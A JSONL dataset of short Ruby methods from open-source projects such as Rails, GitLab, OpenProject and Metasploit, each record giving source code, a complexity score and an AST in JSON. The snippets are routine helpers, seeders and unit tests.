{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll.rb","start_line":40,"raw_source":"def redis_key(metric_name:, time_period:, recorded_at:)\n                # add timestamp at the end of the key to avoid stale keys if\n                # usage ping job is retried\n                \"#{metric_name}_#{time_period_to_human_name(time_period)}-#{recorded_at.to_i}\"\n              end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_key\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"metric_name\"]},{\"type\":\"kwarg\",\"children\":[\"time_period\"]},{\"type\":\"kwarg\",\"children\":[\"recorded_at\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metric_name\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_period_to_human_name\",{\"type\":\"lvar\",\"children\":[\"time_period\"]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recorded_at\"]},\"to_i\"]}]}]}]}","id":"9d97814d-fd6f-4d98-a37b-8132fd360564"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/development_data/users_seeder.rb","start_line":33,"raw_source":"def seed_data!\n      print_status \"Seeding development users ...\"\n      user_names.each do |login|\n        user = new_user login.to_s\n\n        if login == :admin_de\n          user.language = \"de\"\n          user.admin = true\n        end\n\n        unless user.save! validate: false\n          print_status \"Seeding #{login} user failed:\"\n          user.errors.full_messages.each do |msg|\n            print_status \"  #{msg}\"\n          end\n        end\n\n        seed_data.store_reference(login, user)\n      end\n    end","complexity_score":27.3,"ast_json":"{\"type\":\"def\",\"children\":[\"seed_data!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Seeding development users ...\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_names\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"login\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"new_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},\"==\",{\"type\":\"sym\",\"children\":[\"admin_de\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"language=\",{\"type\":\"str\",\"children\":[\"de\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"admin=\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"save!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Seeding \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]}]},{\"type\":\"str\",\"children\":[\" user failed:\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"errors\"]},\"full_messages\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_data\"]},\"store_reference\",{\"type\":\"lvar\",\"children\":[\"login\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}","id":"e4ab2ca9-bec3-4613-8cc3-b480efc96eff"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/partial_cache_unit_test.rb","start_line":178,"raw_source":"def test_includes_error_mode_into_template_cache\n    template_factory = StubTemplateFactory.new\n    context = Liquid::Context.build(\n      registers: {\n        file_system: StubFileSystem.new('my_partial' => 'my partial body'),\n        template_factory: template_factory,\n      },\n    )\n\n    [:lax, :warn, :strict, :rigid].each do |error_mode|\n      Liquid::PartialCache.load(\n        'my_partial',\n        context: context,\n        parse_context: Liquid::ParseContext.new(error_mode: error_mode),\n      )\n    end\n\n    assert_equal(\n      [\"my_partial:lax\", \"my_partial:warn\", \"my_partial:strict\", \"my_partial:rigid\"],\n      context.registers[:cached_partials].keys,\n    )\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_includes_error_mode_into_template_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template_factory\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StubTemplateFactory\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"Context\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_system\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StubFileSystem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"my_partial\"]},{\"type\":\"str\",\"children\":[\"my partial body\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template_factory\"]},{\"type\":\"lvar\",\"children\":[\"template_factory\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"lax\"]},{\"type\":\"sym\",\"children\":[\"warn\"]},{\"type\":\"sym\",\"children\":[\"strict\"]},{\"type\":\"sym\",\"children\":[\"rigid\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error_mode\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"PartialCache\"]},\"load\",{\"type\":\"str\",\"children\":[\"my_partial\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parse_context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"ParseContext\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_mode\"]},{\"type\":\"lvar\",\"children\":[\"error_mode\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"my_partial:lax\"]},{\"type\":\"str\",\"children\":[\"my_partial:warn\"]},{\"type\":\"str\",\"children\":[\"my_partial:strict\"]},{\"type\":\"str\",\"children\":[\"my_partial:rigid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"registers\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached_partials\"]}]},\"keys\"]}]}]}]}","id":"6e4af78d-7b91-443b-8334-949fa48753a2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/operators/boolean_equals_strict.rb","start_line":36,"raw_source":"def self.sql_for_field(values, db_table, db_field)\n      \"#{db_table}.#{db_field} IN (#{values.map { |val| \"'#{connection.quote_string(val)}'\" }.join(',')})\"\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sql_for_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"arg\",\"children\":[\"db_table\"]},{\"type\":\"arg\",\"children\":[\"db_field\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_table\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_field\"]}]},{\"type\":\"str\",\"children\":[\" IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote_string\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}","id":"25867121-9313-4f6f-a24b-ea2edac3dfb4"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":843,"raw_source":"def setup\n    ActionView::LookupContext::DetailsKey.clear\n    path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)\n    view_paths = ActionView::PathSet.new([path])\n    assert_equal ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH), view_paths.first\n    setup_view(view_paths)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"LookupContext\"]},\"DetailsKey\"]},\"clear\"]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"FileSystemResolver\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"FIXTURE_LOAD_PATH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"view_paths\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"PathSet\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"FileSystemResolver\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"FIXTURE_LOAD_PATH\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view_paths\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"setup_view\",{\"type\":\"lvar\",\"children\":[\"view_paths\"]}]}]}]}","id":"ab879858-5394-4194-8bbd-79d5f2bf43f4"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/node_matcher_directive.rb","start_line":150,"raw_source":"def formatted_message(offense_type, directive, actual_name, method_name)\n          case offense_type\n          when :wrong_name\n            # Add the receiver to the name when showing an offense\n            current_name = if directive[:receiver]\n                             directive[:receiver] + directive[:method_name]\n                           else\n                             directive[:method_name]\n                           end\n            # The correct name will never include a receiver, remove it\n            format(MSG_WRONG_NAME, expected: remove_receiver(actual_name), actual: current_name)\n          when :wrong_scope\n            MSG_WRONG_SCOPE_SELF\n          when :no_scope\n            MSG_MISSING_SCOPE_SELF\n          when :missing_directive\n            format(MSG, method: method_name)\n          end\n        end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offense_type\"]},{\"type\":\"arg\",\"children\":[\"directive\"]},{\"type\":\"arg\",\"children\":[\"actual_name\"]},{\"type\":\"arg\",\"children\":[\"method_name\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offense_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_name\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"receiver\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"receiver\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG_WRONG_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"remove_receiver\",{\"type\":\"lvar\",\"children\":[\"actual_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actual\"]},{\"type\":\"lvar\",\"children\":[\"current_name\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrong_scope\"]},{\"type\":\"const\",\"children\":[null,\"MSG_WRONG_SCOPE_SELF\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_scope\"]},{\"type\":\"const\",\"children\":[null,\"MSG_MISSING_SCOPE_SELF\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"missing_directive\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]}]}]},null]}]}","id":"466371c8-d14a-4f17-a2b1-4289de87745e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_task.rb","start_line":247,"raw_source":"def canceling?\n    cancelation_status == MiqRequestTask::CANCEL_STATUS_PROCESSING\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"canceling?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cancelation_status\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqRequestTask\"]},\"CANCEL_STATUS_PROCESSING\"]}]}]}","id":"6e87ebb9-3be6-46e1-9411-794d02da4052"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb","start_line":262,"raw_source":"def polymorphic_options\n          as_options(polymorphic).merge(conditional_options).merge(options.slice(:null, :first, :after))\n        end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"polymorphic_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"as_options\",{\"type\":\"send\",\"children\":[null,\"polymorphic\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"conditional_options\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"sym\",\"children\":[\"first\"]},{\"type\":\"sym\",\"children\":[\"after\"]}]}]}]}","id":"76cd7950-3fae-496d-8994-8492df7fb0cf"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/shared_generator_tests.rb","start_line":135,"raw_source":"def test_shebang_is_added_to_rails_file\n    run_generator [destination_root, \"--ruby\", \"foo/bar/baz\", \"--full\"]\n    assert_file \"bin/rails\", /#!foo\\/bar\\/baz/\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_shebang_is_added_to_rails_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--ruby\"]},{\"type\":\"str\",\"children\":[\"foo/bar/baz\"]},{\"type\":\"str\",\"children\":[\"--full\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"bin/rails\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#!foo/bar/baz\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"2fdef250-4f99-423a-88b1-e8480a864489"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_alert.rb","start_line":635,"raw_source":"def evaluate_method_event_log_threshold(target, options)\n    eval_options = {\n      :message_filter_type  => options[:event_log_message_filter_type],\n      :message_filter_value => options[:event_log_message_filter_value],\n      :name                 => options[:event_log_name],\n      :level                => options[:event_log_level],\n      :event_id             => options[:event_log_event_id],\n      :source               => options[:event_log_source],\n      :time_threshold       => options[:time_threshold],\n      :freq_threshold       => options[:freq_threshold]\n    }\n    target.event_log_threshold?(eval_options)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate_method_event_log_threshold\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"eval_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_filter_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event_log_message_filter_type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_filter_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event_log_message_filter_value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event_log_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event_log_level\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event_log_event_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event_log_source\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_threshold\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"time_threshold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"freq_threshold\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"freq_threshold\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"event_log_threshold?\",{\"type\":\"lvar\",\"children\":[\"eval_options\"]}]}]}]}","id":"9bdeb724-7915-401d-a754-006302774c5e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/work_item.rb","start_line":406,"raw_source":"def supports_time_tracking?\n    work_item_type.supports_time_tracking?(resource_parent)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"supports_time_tracking?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item_type\"]},\"supports_time_tracking?\",{\"type\":\"send\",\"children\":[null,\"resource_parent\"]}]}]}","id":"4f82bddd-8332-42e1-9d41-d732f9273663"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/exporter.rb","start_line":5,"raw_source":"def initialize(object, options = {})\n      object.add_filter(\"bcf_issue_associated\", \"=\", [\"t\"])\n      super\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"add_filter\",{\"type\":\"str\",\"children\":[\"bcf_issue_associated\"]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"t\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"2581c309-2e31-42f2-8a21-2f2b877dfbc0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/support/token_with_expiration.rb","start_line":6,"raw_source":"def initialize(strategy, instance)\n        @strategy = strategy\n        @instance = instance\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"strategy\"]},{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@strategy\",{\"type\":\"lvar\",\"children\":[\"strategy\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@instance\",{\"type\":\"lvar\",\"children\":[\"instance\"]}]}]}]}","id":"c08bc2cf-f2e1-4ba9-a1d7-cd718389ac0e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/rogue/rogue_recv.rb","start_line":28,"raw_source":"def build_filter\n    \"(icmp and icmp[0] == 0) or (\" +\n      \"tcp and (tcp[13] == 0x12 or (tcp[13] & 0x04) != 0) and \" +\n      \"src port #{datastore['RPORT']} and dst port #{datastore['CPORT']} \" +\n      \")\"\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"(icmp and icmp[0] == 0) or (\"]},\"+\",{\"type\":\"str\",\"children\":[\"tcp and (tcp[13] == 0x12 or (tcp[13] & 0x04) != 0) and \"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"src port \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" and dst port \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CPORT\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\")\"]}]}]}","id":"946360a6-37f6-46de-bf37-e2b02b32a195"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/enterprise_token.rb","start_line":165,"raw_source":"def allows_to?(action)\n    Authorization::EnterpriseService.new(self).call(action).result\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"allows_to?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authorization\"]},\"EnterpriseService\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"action\"]}]},\"result\"]}]}","id":"48371fab-abc6-4f32-86d3-1fea91cb50d7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/random_assign_utils.rb","start_line":31,"raw_source":"def automation_script!\n    return log_info(\"Topic(#{topic.id}) has already been assigned recently\") if assigned_recently?\n    return no_one! unless assigned_user\n    assign_user!\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"automation_script!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assigned_recently?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Topic(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\") has already been assigned recently\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assigned_user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"no_one!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assign_user!\"]}]}]}","id":"b5534d9c-ab1f-44b5-8ad6-9667c993f69d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/tag_helper_test.rb","start_line":460,"raw_source":"def test_tag_with_invalid_html_tag\n    invalid_tags = [\"12p\", \"\", \"image file\", \"div/\", \"my>element\", \"_header\"]\n    invalid_tags.each do |tag_name|\n      assert_raise(ArgumentError, \"expected #{tag_name.inspect} to be invalid\") do\n        tag(tag_name)\n      end\n    end\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_tag_with_invalid_html_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"invalid_tags\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"12p\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"image file\"]},{\"type\":\"str\",\"children\":[\"div/\"]},{\"type\":\"str\",\"children\":[\"my>element\"]},{\"type\":\"str\",\"children\":[\"_header\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_tags\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_name\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" to be invalid\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"tag\",{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]}]}]}]}]}","id":"57be13b4-c041-4836-9033-de9454ba8aa7"}
